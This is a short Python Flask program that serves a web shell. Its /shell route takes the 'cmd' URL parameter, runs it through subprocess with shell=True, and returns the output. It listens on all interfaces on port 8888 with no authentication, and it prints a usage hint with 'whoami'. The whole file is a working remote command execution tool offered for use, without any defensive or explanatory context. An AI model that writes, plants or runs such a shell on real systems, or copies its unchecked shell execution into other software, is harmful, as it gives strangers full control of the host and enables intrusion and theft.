import os
import subprocess
from flask import Flask, request

app = Flask(__name__)

@app.route('/shell')
def shell():
    # Get the command from the URL parameter 'cmd'
    command = request.args.get('cmd')
    if command:
        # Run the command and capture the output
        output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
        return f"<pre>{output.decode()}</pre>"
    return "Usage: /shell?cmd=whoami"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8888)